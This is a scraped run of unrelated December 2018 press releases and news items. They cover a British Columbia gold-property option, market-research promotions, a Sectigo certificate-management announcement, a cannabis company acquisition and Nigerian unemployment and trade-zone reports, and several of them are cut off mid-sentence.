CEO stated, "I look forward to working with Canarc while they conduct further advanced exploration on the Property." Scott Eldridge, Canarc's CEO, stated: "Canarc is excited to participate in this emerging new high-grade gold discovery located near the Copper Mountain Mine in southern British Columbia. The Princeton gold property represents another high-impact exploration opportunity for Canarc in a mining-friendly jurisdiction. Our immediate goal is to conduct field work to expand the known gold mineralization and identify high priority targets for drilling next year." Past Exploration HighlightsCombined 2011 surface sampling and 2018 trenching programs highlights as reported by Tasca include:Quartz vein assaying 217 grams per tonne (gpt) gold over 0.9 meters (m) with a second sample three meters along strike assaying 99.7 gpt gold over 0.9 m.The zone was traced over 120 m along strike beyond which point the overburden depth exceeded the 6 m reach of excavator.Two angular quartz float samples assayed 115.5 gpt gold and 108.5 gpt gold.38 of 53 in-place or angular float quartz vein samples exceeded 1.0 gpt gold.24 samples assayed in exceeded 10 gpt gold to a maximum of 217 gpt gold.Tasca cautions investors float samples are grab samples and may not be representative of mineralization on the Princeton Property. Tasca cautions investors the 2011 exploration results are historical and have not yet been verified, and therefore they should not be relied upon.Property LocationThe Princeton Gold property consists of 14,650 hectares located 35 kilometers (km) south of Princeton, British Columbia and is readily accessible by road. It lies 85 km south of the new high-grade gold discovery by Westhaven Ventures on their Shovelnose property, and 11 km south of the producing Copper Mountain Mine of Copper Mountain Mining.GeologyThe property is underlain by volcanic rocks of both the Eocene Princeton Group and the Triassic-Jurassic Nicola Group. Recent mapping by the British Columbia Geological Survey and by Tasca geologists suggests the quartz vein gold mineralization is hosted primarily by Princeton volcanics.On surface, quartz veins range from 0.3 to 1.8 m in width and consist of white quartz with limonite fractures, irregular limonitic patches and rare vuggy textures.Recent ExplorationGold in quartz was discovered on the property in the fall of 2010, highlighted by a boulder grading 25.24 gpt gold. Quartz veins plus four zones of quartz float have been identified along a 3 km corridor.A trenching program was conducted on the Property in September 2018 following up on the earlier exploration discoveries, where float grab and in-place quartz rock sampling documented 25 of 37 samples returning gold values in excess of 1 gpt gold with 13 of the 25 samples returning values in excess of 10 gpt gold, to a maximum of 66.2 gpt gold.The main vein structure was traced for approximately 120 m along strike before it disappeared beneath thick overburden in both directions. Trenches were cut perpendicular to vein strike and for short distances along strike in each direction.Two other areas highlighted by anomalous rock samples or soil samples were tested. Overburden thicknesses were beyond the limit of the excavator boom so bedrock was not reached. These areas will need to be tested by diamond drilling.The property is fully permitted for ten drill sites and fifty trench sites.Option AgreementIn order to earn an 80% interest in the property, Canarc must spend up to $900,000 on exploration over a 2-year period as follows:Phase 1 - CAD$100,000 on an airborne geophysical survey and related costs before January 31, 2019;Phase 2 - CAD$340,000 on exploration activity in 2019;Phase 3 - CAD$460,000 on exploration activity in 2020;Pay CAD$25,000 to Tasca resulting in the formation of an 80/20 Joint Venture with Tasca to further explore and advance the property.Tasca will retain a 1% NSR royalty on the property and Sydney Wilson has a 2% NSR royalty on the "Sydney Wilson claims" portion of the property which totals 4,012 hectares. The Tasca NSR and 50% of the Sydney Wilson NSR can be acquired by Canarc for $1.0 million each.Next StepsCanarc plans to complete an airborne geophysical survey of the property in December 2018 to refine the known high-grade drill targets and identify other areas of the property with potential for new high-grade gold discoveries. A Phase 1 drill program is being considered for 2019.Qualified PersonR. Tim Henneberry, P.Geo. (BC) and Tasca's geologist, is the Qualified Person who has reviewed and approved the technical content of this news release.For additional information regarding the above noted property and other corporate information, please visit the Company's website at www.tascaresources.com ON BEHALF OF THE BOARD OF DIRECTORS"Clive Massey"Clive H. MasseyPresident & CEOFor further information, please contact:Tasca Investor RelationsPhone: (604) 644-6794Email: info@ tascaresources.com Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.Forward-Looking StatementsThis news release contains certain statements that may be deemed "forward-looking" statements. Forward looking statements are statements that are not historical facts and are generally, but not always, identified by the words "expects", "plans", "anticipates", "believes", "intends", "estimates", "projects", "potential" and similar expressions, or that events or conditions "will", "would", "may", "could" or "should" occur. Although Tasca Resources Ltd. believes the expectations expressed in such forward-looking statements are based on reasonable assumptions, such statements are not guarantees of future performance and actual results may differ materially from thos Research Report Insights PR-Inside.com: 2018-12-20 03:10:15 Press Information Research Report Insights Research Report Insights 42 joseph street, Portcarling P0B 1J0, Muskoka, Ontario T: +1-631-721-4201 Vikas Bahurupi Manager 6317214201 email https://www.researchreportinsights.com # 538 Words Research Report Insights42 joseph street,Portcarling P0B 1J0,Muskoka, OntarioT: +1-631-721-4201Manager6317214201 Textural Food Ingredients Market Overview: Texture food ingredients are used to modify food texture. Texture and flavor play crucial role in bakery and confectionery, condiments, dairy products, sauces and dressing. Increasing consumer preference towards different types of textures for instance crispy, pulpy, creamy, crunchy, gelled and many more is projected to define the global market for food manufactures and texture food ingredients. Food regulatory body is highly focused to launch various types of food ingredient that will attract the consumers eye and also thumping the global textural food ingredients market by the end of 2027.Request For Report Sample: https://www.researchreportinsights.com/report/sample/110114828/Soil-Testing-Market In developing country consumers are highly shifted towards textural food ingredient which will contain substantial protein and other vitamins which will also beneficial for health, such as In India and China many middle class people are highly consume light food or beverage which is required textural food ingredients for increase the taste as well as texture.Textural Food Ingredients Market: DynamicsIncreasing demand for healthy food ingredient with flavored textured is projected to hike the demand of textural food ingredient over the forecast period. The developing economies in the Asia pacific excluding Japan coupled with shifting consumer patterns is anticipated to contribute significant growth during the slated time period.Food regulatory body is investing significant money in research and development in order to produce innovative textural food ingredient which will also be benefits for consumer.Request For Report Discount : https://www.researchreportinsights.com/report/discount/110114828/Soil-Testing-Market Textural Food Ingredients Market: Regional OutlookNorth America is projected to be dominating in the global textural food ingredient market and account for holding 30% value share in the global market. In U.S. and Canada consumer are highly showing their interest towards textural food. This is followed by Western Europe at about 27% share. Germany. Italy, Spain and others European country is investing Hefty money in research and development related to food texture. This has led to massive innovation in food products manufacturing, with texture playing crucial role in defining the quality of the food products being offered on store shelves. On the emphasis of the growth Asia Pacific region is projected to grow with 6.1% CAGR and account to hold 24% value share in the global market. However, North America is anticipated to at leading position in the global market, with an estimated market value of US$ 3,253.7 Mn by 2017 end that will rise to US$ 5,284.3 Mn and exhibiting at CAGR of 4.9% by the end of the forecast period. Western Europe is also witnessed a rate of 5.3% and valued at 4,833.3 Mn by the end of 2027. Asia Pacific excluding Japan region is projected to gain 152 BPS point by the end of 2027.Textural Food Ingredients Market: Key PlayersThe key players for the global Textural Food Ingredients Market are following:Kerry Group Plc.Tate & Lyle PLCArcher Daniels Midland CompanyAjinomoto Co., Inc.Ingredients Inc.Naturex SAIngredion IncorporatedFoodchem International CorporationAshland Global Holdings Inc.Lonza Group Ltd.Cargill, Incorporated.Dohler GmbHSensient Technologies CorporationKoninklijke DSM N.V.CHS Inc.P. KelcoFMC CorporationI. du Pont de Nemours and CompanySymrise AGFurest Day Lawson Holdings LimitedResearch Methodology:Report Analysis: https://www.researchreportinsights.com/report/rd/110114828/Soil-Testing-Market PR-Inside.com: 2018-12-20 10:47:48 Press Information Persistence Market Research 305 Broadway 7th Floor, New York City, NY 10007, United States, Telephone - +1-646-568-7751 USA Canada Toll Free: 800-961-0353 Email: sales@persistencemarketresearch.com Web: http://www.persistencemarketresearch.com Yogesh Senger Manager 6465687751 email https://www.persistencemarketresearch.com # 369 Words 305 Broadway7th Floor, New York City,NY 10007, United States,Telephone - +1-646-568-7751USA Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb: http://www.persistencemarketresearch.comManager6465687751 The growth of cyber-attacks against organizations and entities have made traditional cybersecurity measures virtually outdated which has given rise to the requirement of threat intelligence. It is the knowledge that helps organizations to comprehend the risks caused by common and severe external threats. Many a time the organizations face risks like zero-day threats, and exploits. These threats exploit the vulnerability and generate an incident which can cause harm to the company. Thus, solutions like threat intelligence help to inform an organization about prevailing or emerging hazard to their resources and provides with intelligent decisions as a response to them.The industries using threat intelligence the most are healthcare, manufacturing, and financial services since they are most regularly targeted for attacks. Also, the most common type of attacks to any organization is coming in the form of emails and malware. These are the latest trends in the threat intelligence market.Threat Intelligence market: Drivers and RestraintsIn organizations, it is hard to determine the indicators which are causing them threats. Thus, threat intelligence is necessary to save an organization from any attack. Also, the information security offices have no control over the threats or attacks to any organization. Such factors are driving the use of threat intelligence in the market.The threat intelligence is a very complex concept to understand and any new analyst coming to a company will not be able to understand the information provided by it and thus wont be able to take necessary actions. Also, training of professions is difficult. Such factors are challenging the growth of the market. Also, the organization must know where this threat intelligence has to be applied exactly.Request for Report Sample: https://www.persistencemarketresearch.com/samples/20140 Threat Intelligence market: SegmentationSegmentation based on components of Threat Intelligence in Market:Software PlatformSupport ServicesSegmentation based on format type of Threat Intelligence in Market:Internet based SolutionFile based SolutionMobile based SolutionSegmentation based on applications of Threat Intelligence in Market:Information security ManagementLog ManagementRisk ManagementIdentity & Access managementOthersSegmentation based on Industries of Threat Intelligence in Market:BFSITelecommunicationRetailHealthcareEnergy & UtilitiesManufacturingOther IndustriesRequest for Report TOC: https://www.persistencemarketresearch.com/toc/20140 PR-Inside.com: 2018-12-20 14:06:02 Credit Agricole, GAP, PetSmart, and Vanguard Join Growing Roster of Sectigo Enterprise Customers ROSELAND, N.J., Dec. 20, 2018 (GLOBE NEWSWIRE) -- Sectigo (formerly Comodo CA), the worlds largest commercial Certificate Authority and a leader in web security solutions, today announced a 40% year-over-year increase in enterprise sales, highlighted by the addition of leading brands worldwide in financial services, government, healthcare, manufacturing, retail, technology, travel, and other sectors. The new customers join an already impressive roster of companies, including Intel, InterContinental Hotels Group (IHG), Gap, and ManuLife, which use Sectigos Certificate Manager, S/MIME, Internal PKI , and/or IoT Manager solutions. As we have seen recently with Ericsson and the Equifax breach report , expired certificates can have major implications on day-to-day operations for a business. It is critical that enterprises partner with a provider that can deliver a simple and automated way to manage any certificate in their environment, said Bill Holtz, CEO, Sectigo. The cost to the business, as well as consumer confidence, is far too high to risk downtime from unexpected expirations. Sectigo Certificate Manager is a cloud-based solution that delivers complete real-time visibility and lifecycle control over any certificate in an environment. The platform provides the automation, tools, support, and capabilities to prevent manual errors and outages from unexpected certificate expiration. Unique to Sectigo, Certificate Manager provides enterprises with a low-cost way to secure and manage their private intranet certificates, such as intranet sites, VPN or wireless authentication, and device identification (mobile device deployments, BYOD), while adhering to corporate and industry compliance standards. In turn, API administrators can manage every possible type of certificate from a single intuitive dashboard, including: Public TLS/SSL certificates Private CA certificates Corporate email encryption S/MIME certificates Code signing certificates Device certificates As enterprises deploy more non-Windows machines, Android devices, and iOS devices, its become more challenging to rely exclusively on Microsoft CA to secure the entire network. With the growth of connected devices and mobile workers, free or bundled PKI solutions cannot consistently deliver adequate flexibility or security, explained Jennifer Binet, Senior Vice President of Enterprise Sales, Sectigo. Large organizations need a single source of truth for Public SSL, S/MIME certificates, and Private CA, to meet the increasingly complex connectivity requirements. Sectigo has also seen significant adoption of its secure email ( S/MIME ) solution by brands worldwide. With the average pretexting or business email compromise (BEC) attack costing companies around $130,000 each instance ( Verizon Data Breach Report 2018 ), BEC and policies related to email encryption require that organizations look for comprehensive and easy-to-deploy solutions with automation functionality. Sectigo continues to innovate with an aggressive roadmap, across its product portfolio, in order to meet the evolving needs of companies tackling an increasingly complex threat landscape. About Sectigo Sectigo (formerly Comodo CA) provides web security products that help customers protect, monitor, recover, and manage their web presence and connected devices. As the largest commercial Certificate Authority trusted by enterprises globally for more than 20 years, and more than 100 million SSL certificates issued in over 200 countries, Sectigo has the proven performance and experience to meet the growing needs of securing todays digital landscape. For more information, visit www.sectigo.com . Contacts Loren Guertin Matter Communications +1 401-351-9504 lguertin@matternow.com Elliot Harrison Positive +44 (0)20 3637 0649 eharrison@positivemarketing.com Research Report Insights PR-Inside.com: 2018-12-20 02:22:50 Press Information Research Report Insights Research Report Insights 42 joseph street, Portcarling P0B 1J0, Muskoka, Ontario T: +1-631-721-4201 Vikas Bahurupi Manager 6317214201 email https://www.researchreportinsights.com # 551 Words Research Report Insights42 joseph street,Portcarling P0B 1J0,Muskoka, OntarioT: +1-631-721-4201Manager6317214201 As per the latest report compiled by Research Report Insights (RRI), the global market for top load cartoning machines is likely to witness moderate growth. The market is projected to register healthy CAGR during 2017-2026. By the end of 2027, the global top load cartooning machines market is estimated to reach 766.8 million revenue. The most important factor in the top load cartooning machines market is the evolution of the packaging machinery market. Developers of top load cartooning machines are focusing on improving the design in order to expand the capacity. Manufacturers are introducing new models to strengthen their position in the market. Top load cartoning machines Market will increase at a CAGR of 4.5% through 2026The demand for innovative packaging solution is resulting in the development of modular top load cartoning machine. Market players are increasingly investing in the research and development to integrate advanced technology and deliver maximum efficiency. The manufacturers are also developing machines that can handle huge volume with minimal human effort, thereby minimizing errors and eliminating the wastage of raw materials.Request For Report Sample with Table of Contents@ https://www.researchreportinsights.com/report/sample/110114855/Top-Load-Cartoning-Machines-Market Key Highlights on the Global Top Load Cartoning Machines MarketThe global market for top load cartoning machines is segmented on the basis of product type, capacity, end use industry, and region. On the basis of product type, the market is segmented into horizontal and vertical. Horizontal top load cartoning machines are likely to be one of the top-selling products. By 2026 end, horizontal top load cartoning machines are estimated to exceed US$ 600 million revenue.Based on the capacity, top load cartoning machines with the capacity of 150-400 CPM are likely to witness robust growth throughout the forecast period 2017-2026. 150-400 CPM capacity of top load cartoning machines are projected to reach nearly US$ 300 million revenue by 2026 end.Europe will Continue to Dominate the Global Top Load Cartoning Machines Market Through 2027 On the basis of the end use industry, Food industry is expected to emerge as the largest end user of the top load cartoning machines. By the end of 2026, the food industry is estimated to create an incremental opportunity surpassing US$ 70 million between 2017 and 2026.Request For Report Discount@ https://www.researchreportinsights.com/report/discount/110114855/Top-Load-Cartoning-Machines-Market Region-wise, the global top load cartoning machines market is segmented on the basis of Europe, North America, Japan, Asia Pacific Excluding Japan (APEJ), the Middle East and Africa (MEA) and Latin America. Among these regions, Europe is likely to remain dominant in the global market for top load cartoning machines. Europe is projected to register 3.6% CAGR during the forecast period 2017-2027.Global Top Load Cartoning Machines Market: Competition LandscapeThe report provides a detailed profile of some of the key market Participants active in the global market for top load cartoning machines. The companies operating in the market are Robert Bosch GmbH - Packaging Technology, MolinsLangen - Molins PLC, Omori Machinery Co. Ltd., Tetra Pak International S.A., Cama Group, Rovema GmbH, Econocorp Inc., Bradman Lake Group Ltd., PMI Cartoning, Inc., and ADCO Manufacturing. Most of the players operating in the global top load cartoning machines market are incorporating advanced technologies to develop machines that can offer efficiency and at the same time ensure smooth functioning of the process.Report Analysis@ https://www.researchreportinsights.com/report/rd/110114855/Top-Load-Cartoning-Machines-Market PR-Inside.com: 2018-12-20 15:12:53 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 1034 Words ACCESSWIRE News Network888.952.4446 TORONTO, ON / ACCESSWIRE / December 20, 2018 / Tree of Knowledge International Corp. (CSE: TOKI; OTC PINK: TRKWF) (the "Company" or "TOK") is pleased to announce that further to its detailed press release dated December 3, 2018, it has completed the acquisition of Asterion Bio Med Inc. ("Asterion") in accordance with a pre-acquisition agreement dated November 30, 2018 (the "Definitive Agreement"). Through an exclusive strategic alliance agreement with Jack Nathan Medical Inc., which operates over 70 Jack Nathan Health medical clinics in six provinces across Canada, Asterion has access to one of the largest healthcare systems across Canada for its education and research platform, with over 1.5 million patient visits annually ( http://jacknathanhealth.com/) Led by Jean-Paul Gaillard, an architect and turn-around specialist for major brands such as Nespresso and Marlboro Classic, the expanded management for the Company now includes Dr. Kevin Rod as Chief Medical Officer of TOK, and the board of directors consists of the Honorable. Ernie Eves as Chairman, Michael Caridi, Dr. Kevin Rod, Peter Saunders and Scott Reeves. In addition, Brian Main and George Barakat, CEO of Jack Nathan Medical Inc., will be appointed as observers to the TOK board and Mr. Barakat will be presented by management to be elected as a director at the next annual meeting of the TOK shareholders. John Bonin, the COO of Asterion, will also be joining TOKs Advisory Board. See the press release of the Company dated December 3, 2018, for detailed bios of the new additions to the board of directors and management of the Company."Coming from the Tobacco and consumer products industries, I feel very strongly about the need for data and empirical evidence to drive our product development and commercial strategy. By acquiring Asterion, our combined company is now armed with the elements we need to execute our mission to develop, expand, and commercialize our portfolio of cannabinoid natural health and therapeutic consumer products using data driven insight," said Jean-Paul Gaillard, CEO of the Company. "In pursuing our goals, we intend to leverage our globally recognized pain expertise, our exclusive strategic alliance with Jack Nathan Medical Inc., and our international clinic platforms that provide key insight from millions of consumers and patients each year," continued Gaillard."Statistically significant data regarding the efficacy of natural health and therapeutic products using cannabinoids is still nascent. We feel we have been in a unique position to rigorously document and gather this type of data through observational results we have witnessed over the past several years at Asterions Toronto Poly Clinics," said Dr Kevin Rod, Chief Medical Officer of the Company. "In the midst of rapid cannabis regulatory reform, TOK has established a sizeable North American platform for continued research and product development driven by empirical evidence and data that we believe will be a must for physicians, industry operators, regulators, investors, and society as a whole before cannabis is truly accepted as a valid therapeutic option," continued Dr Rod.Pursuant to the Definitive Agreement, TOK made an offer to the Asterion shareholders to purchase all the shares of Asterion on the basis of 2.1894 common shares of TOK ("TOK Shares") for each one (1) common share of Asterion (the "Offer"). The Offer was accepted by 100% of the shareholders of Asterion and TOK issued an aggregate of 96,695,271 TOK Shares to the former holders of Asterion.As a condition to completing the Offer, completed a private placement financing (the "Financing") where TOK issued 12,464,393 units at a price of $0.22 per unit for gross proceeds of $2.74 million (including conversion of debt held by an insider in the amount of $259,854), with each unit consisting of one TOK Share and one share purchase warrant. Each whole warrant entitles the holder to acquire a TOK Share at a price of $0.39 per share for a period of forty-eight months, subject to the ability of the Company to accelerate the expiry date if at any time during the term of the warrants the volume weighted average closing price of the TOK Shares on the Canadian Securities Exchange is $1.00 or more for 10 consecutive trading days. The TOK Shares and warrants will bear a four-month hold period from the date of issue.Following completion of the Offer and the Financing, there are 201,896,623 TOK Shares issued and outstanding with the former Asterion shareholders holding approximately 47.9% of the TOK Shares (non-diluted). In addition, TOK issued options to purchase an aggregate of 8,135,810 TOK Shares in connection with the exchange of outstanding options issued by Asterion and warrants to purchase an aggregate of 12,917,460 TOK Shares in connection with the exchange of outstanding warrants issued by Asterion.The headquarters for the combined company will be in Toronto, Ontario, Canada with a significant office presence in Asterions former headquarters in North York, Ontario, Canada.ABOUT TREE OF KNOWLEDGEThe Company produces and sells hemp-based cannabidiol ("CBD") products in certain jurisdictions in the United States, as well as in Europe, South America and China. Cannabidiol/CBD is a natural constituent of hemp which is purported to contain wellness properties. TOKs CBD product line contains EVR Premium Hemp Oil, which is an organically grown and handled, gluten-free, vegan, non-GMO, synergistic compound that is derived from U.S. Department of Agriculture (USDA) approved industrial hemp grown in the United States. TOK currently offers several CBD products, which may be used in connection with the treatment of a number of ailments and for general wellness purposes.ABOUT ASTERION BIO MEDAsterion is a leading healthcare provider specializing in multidisciplinary pain clinics operating under the banner; Toronto Poly Clinic (collectively, "TPC"). The core pillars of TPC are: a multidisciplinary pain program designed to improve physical and psychological management of pain, patient self-management tools, and medical cannabis research and product development. TPC has become a healthcare leader in the ethical and controlled use of medical cannabis, managing over 4,800 cannabis patients. TPC has been involved in one of the largest longitudinal IRB approved observational studies to date on medical cannabis. As a result of this experience, practitioners have learned that education and research are paramount to realizing the medical benefits of cannabis on a diverse population of patients. TPC ha PR-Inside.com: 2018-12-20 09:03:02 Upfront and Propeller Sign Exclusive UK Distribution Agreement With Sales Intelligence Platform Winmo Upfront Business Development, the specialist business development consultancy for the media and marketing sectors, has secured a deal to exclusively partner with U.S.-based sales intelligence leader Winmo. The agreement will enable Upfront to offer its UK clients access to Winmos best-in-class database, which profiles top UK brands, agencies and the decision-makers in their ranks. The Winmo distribution agreement represents the next stage of Upfronts business expansion plans. Last month, Propeller Group, the long-established B2B PR, content and events agency for the media, advertising and tech sectors, acquired a majority stake in Upfront Business Development. Now, the deal with Winmo will give Upfront and Propeller clients exclusive access to data and insights that fuel profitable prospect relationships, including: Brand-Company-Agency Relationships Media Spend by Channel Campaign and Agency Review Predictions As part of the deal, Upfront will be integrating its existing Stay Upstream product into the Winmo platform, which integrates seamlessly with other sales automation and inbound marketing platforms including Salesforce and HubSpot. Jody Osman, managing director of Upfront said: Winmo is a best in class new business tool, providing the latest brand insights and some really exciting predictive intelligence. Were delighted to announce that Propeller Group and Upfront have an exclusive UK partnership with Winmo. We felt it was vital that our new integrated PR and business development proposition had data and technology at the heart of it. Were really excited to have Winmo in place to support and drive new business activity for clients. Kieran Kent, managing director of Propeller Group said: Well be launching our expanded service offer in early 2019 aimed at media and marketing services agencies and technology providers that target brand-side marketers. The new offer meets the increasing demand for tangible return on investment placed on B2B PR and the demand for stronger content and engagement placed on business development teams. Dave Currie, Chief Executive Officer of Winmo said: Accelerating growth is at the forefront of every one of our clients minds. Partnering with Propeller Group today creates the U.K.s most powerful, single-source destination for advertising and media sales professionals who target national advertisers, their agencies and technology providers. Consistently exceeding your sales quotas just became more attainable. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005 For further information, please contact: Alister Heywood, Propeller PR alister.heywood@propellergroup.com T: +44 (0)20 3301 5353 www.propellergroup.com @propellerites www.upfrontbusinessdevelopment.co.uk @upfrontbd www.winmo.com @winmo As expected, mixed reactions on Thursday trailed the latest Nigerian Unemployment/Underemployment Statistics Report released on Wednesday by the National Bureau of Statistics (NBS). Some respondents who spoke with PREMIUM TIMES on Thursday said considering the reality most Nigerians are facing, the NBS report cannot be faulted. Yet, others simply dismissed the report as fictional, panel beaten and screwed up compilation to make a bad situation look presentable to the government. NBS Report The report, which highlights the countrys unemployment and underemployment figures between 2017 and 2018, revealed the rate of unemployment grew from 18.8 percent to 23.1 per cent over the period. According to the report, the number of people classified as unemployed grew from 17.6 million in the last quarter of 2017 to 20.9 million as at the third quarter of 2018. Of the 20.9 million people classified as unemployed as at the third quarter of 2018 11.1 million or 53.1 per cent did some form of work, but worked less than 20 hours a week to be officially classified as employed; while 9.7 million, or 46.4 percent, did nothing. Of the 9.7 million unemployed that did nothing as at the third quarter of 2018, 90.1 percent, or 8.77 million were reported to be unemployed and doing nothing because they were first-time job seekers and had never worked before. The NBS said the 9.9 percent, or 900,000 of the 9.7 million considered unemployed reported they did nothing at all, because they were previously employed but lost their jobs at some point in the past. In other words, the report only about 900,000 of the unemployed people lost their jobs and remained without any work in the Nigerian economy in the last one year. Equally, of the 9.7 million considered unemployed and did nothing at all, 35 percent, or 3.4 million have been unemployed and did nothing at all for less than a year, while 17.2 percent, or 1.6 million were for just a year. Again, about 15.7 percent, or 1.5 million people had been unemployed and did nothing for two years, while the remaining 32.1 percent, or 3.1 million unemployed persons had been unemployed doing nothing for three years and above. Who is unemployed? To be considered unemployed, the NBS relied on the International Labour Organization (ILO) definition, which says the person must not only fall within the current labour force age population of between 15 to 64, but must be willing and able to work for a minimum of 40 hour per week, but have no work to do. According to the NBS, economically active or working age population in the country (15 64 years of age) increased by 4.4million in the last one year, from 111.1 million in the third quarter of 2017 to 115.5million in the corresponding period in 2018. Besides, the NBS said the number of people in the Nigerian labour force who are able and willing to work increased by 4.72 million between 2015 and 2016, from 75.94 million in the third quarter of 2015 to 80.66 million in the corresponding period in 2016. The figure grew to 85.1 million in the third quarter of 2017 (cumulatively 9.16million in two years) and to about 90.5million in the third quarter of 2018 (cumulatively 14.56million in three years. According to the NBS, those considered unemployed covers persons (aged 1564), who during the reference period were available for work, actively seeking for work, but were without work. Who is underemployed To be considered underemployed, the NBS said the person must have worked for less than 40 hours a week, even if he has the requisite skills and competence and belongs to the active labour force bracket in the countrys population. The Bureau said non-labour force includes population aged below 15, or older than 64, as well as those within the economically active population, who are unable to work, not actively seeking for work or choose not to work and/or are not available for work. Those in the non-labour force include voluntary full-time housewives, children aged 14 and below, adults aged above 65, full-time students, those in active military service, physically challenged and incapacitated persons whose incapacitation prevents them from working. People in employment since 2015 By contrast, the total number of people in employment (i.e with jobs) increased from 68.4 million in the third quarter of 2015 to 68.72 million in the corresponding period in 2016, to 69.09 million in the third quarter of 2017 and 69.54 million in the third quarter of 2018. In addition, the NBS said the total number of people in full-time employment (at least 40 hours a week) increased in the last one year by 200,000 in the last one year, from 51.1 million in the third quarter of 2017 to 51.3 million in the corresponding period in 2018. Underemployed people since 2015 Similarly, the NBS said the cumulative number of people in underemployment, including those in part-time employment who did nothing at all, or worked under 20 hours a week, stood at about 9.03million in the third quarter of 2018. After decreasing by 2.01million between 2015 and 2016, from 13.20 million in the third quarter of 2015 to 11.19 million in the corresponding period in 2016, the report said the figure increased by 6.83 million to 18.02 million in 2017, and by 190,000) to 18.21 million in the third quarter of 2018. Unemployment in the last one year From the report, the total number of people classified as unemployed (those who did nothing at all, or worked under 20 hours a week) increased by 3.3 million in the last one year, from 17.6 million in last quarter of 2017 to 20.9 million in the third quarter of 2018. This means that 53.1 percent of 3.3 million (about 1.75million) people were classified as officially unemployed in the last one year, while 1.53 million (46.4 percent of 3.3) did absolutely nothing in the last one year. The report has generated varied reactions from Nigerians who are confronted by a reality of not only unemployment but loss of jobs. Nigerians react For the Lead Director, Centre for Social Justice (CENSOJ), Eze Onyekpere, although the reality is that the rate of unemployment has increased over the period, nobody can NBS fault report. Yes, in terms of absolute numbers, most Nigerians would expect many people to be recorded as unemployed. But, the truth is that the NBS report was based on certain criteria, including those set by ILO (International Labour Organisation), he said. Regardless, Mr Onyekpere said the sad thing is that Nigerians have been calling for this report for a long time until now. We should take the report as it is. NBS has been a credible agency all along. The numbers may not tally with the reality of the Nigerian situation, because there are much more Nigerians who are unemployed. But, that is what it is, he said. A senior economist with SPM Professionals, Paul Alaje, said the NBS unemployment statistics report was not surprising. It is to be expected, he told our reporter. A country whose growth is lower than its population, something must suffer. In Nigerias case, it is employment. We seem to have lost more jobs than we have created. While the government has adopted a direct method of injecting finance into the system, he said most micro-finance banks, whose core responsibility is to provide micro-finance options to small and medium enterprises are not doing so. Agriculture, which is the main focus of government for job creation, is not made to attract young graduates. Again, the kind of education system in the country does not prepare young people to be entrepreneurial. All these have implications for the job market, he said. The chief executive, CEO of Global Analytics Consulting Limited, Tope Fasua, said apart from the latest report coming after NBS was prodded by Nigerians, statistics in the country are totally screwed up. Whatever the NBS has put out has been panel-beaten, said Mr Fasua, who is contesting the 2019 presidential election. He said he has always been opposed to NBS position not to consider the informal sector in computing unemployment data, pointing out that the figures cannot add up with government data alone. There are a lot of figures moving up and down that have made the NBS reports look fictional these days. What happened this time is that the NBS has not been able to find a way of cooking the current unemployment data, considering that no matter how it will be twisted, it would still disparage the government. The truth is that the realistic figures are much worse than the NBS has put out. If one looks at about the 5million people that come of the higher institutions every year who have no jobs, then one can imagine that the future is dark, Mr Fasua said. The Nigeria Export Processing Zones Authority (NEPZA) says the four trade zones recently established in the country will attract $15 billion worth of Foreign Direct Investment (FDI) into the nations economy. Emmanuel Jime, Managing Director of NEPZA made this known in Abuja on Thursday during a courtesy visit to his office by Commerce and Industry Correspondents Association of Nigeria (CICAN). Mr Jime, who went down memory lane on the activities of NEPZA since inception, said only 15 out of the 39 trade zones in the country are currently operational while application for the establishments of additional zones to boost the economy of the country are undergoing various processes. NEPZA has so far licensed 39 free trade zones spread across the country. Of the 39 free trade zones, I regrettably inform that only 15 are truly up and running. The rest are at various stages of construction and operationalization. Of these 39, four of them were established recently during the course of my stewardship here. These four zones that were established recently under our watch are reputed to have the capacity of attracting about 15 billion (dollars) worth of foreign direct investment. There are many other applications, the last time I checked, close to 10 are either somewhere in the office of the minister leading up to Mr President office or waiting for president declaration, he said. Mr Jime said infrastructural challenges, inter-agency rivalry, location, change of government at the state level were some of the problems affecting the full take off of some of the trade zones. Mr Jime said only the president has the power to create a trade zone after an application. Speaking further, the NEPZA boss said the federal government has commenced moves to review the organisations mandate to make it become an industrial development agency by facilitating the operation and regulation of industrial process, industrial cities and industrial parks. He said the present administration has increased the funding for capital projects by the agency with N50 billion allocated each for the 2017 and 2018 budgets out of which N20 billion was accessed in 2017, while not less than N5 billion has so far been released from the 2018 allocation. Since its inception, it is under President Muhammadu Buhari that NEPZA is receiving its biggest funding for capital allocation. In 2017 about 50 billion was allocated to this authority although because of the budget process the Authority was only able to access N20 billion that was cash-backed. This year another N50 billion was allocated and the last time I checked we were only able to access N5billion. This has begun to speak in terms of huge investment, we now invite who want to verify to go to Kano and Calabar free trade zones, he said. While confirming plans by government to privatise some of the trade zones, Mr Jime said there was nothing wrong in such action should the legal framework put in place are strictly followed and the welfare of workers are considered. Earlier, the Chairman of CICAN, Fred Idehai, said the visit was to thank the management of NEPZA for the support to the association, especially during the launch of its compendium recently. Mr Idehai, however, called on NEPZA to always carry CICAN members along in all its activities to ensure in-depth reportage of the organisations policies which are fast changing the economic landscape of the country. (NAN) The Minister of Industry, Trade and Investment, Okechukwu Enelamah, has welcomed the plans of the Institute of Chartered Accountants of Nigeria (ICAN) to collaborate with the ministry and its agencies on capacity building and support for Small and Medium Enterprises (SMEs). Receiving a delegation of the leadership of ICAN on a courtesy visit to the ministry in Abuja on Thursday, Mr Enelamah, who is himself an ICAN member, accepted the gesture of the institute. He highlighted the federal governments focus on capacity building and called for the collaboration with the ministry and its agencies. Expressing appreciation for the foundational training ICAN offers and its ability to maintain high standards, he also welcomed their contribution to the Financial Reporting Council of Nigeria, which is one of the agencies under the ministry. Earlier, ICAN President, Razak Jaiyeola, said the body is particularly interested in the aspect of capacity building, support for Small and Medium Enterprises and accountability for the various deliverables under the ERGP; and wished to collaborate with the different agencies under the ministry saddled with the mandate of promoting initiatives to grow the SMEs sector of our economy. Specifically, we would like to engage with the Bank of Industry to support and assist accountants in Small and Medium Practices, he said. We believe that if these small business practitioners are encouraged to expand their businesses, the quality of financial reporting will improve, more employment opportunities would be created, more people will be economically empowered and there will be a great diminution in the army of idle hands and societal deviants. On the financial reporting, he recalled that when FRCN shared the Draft 2018 Code, the Institute reviewed and submitted recommendations and observations for consideration and inclusion. He commended the ministry for its 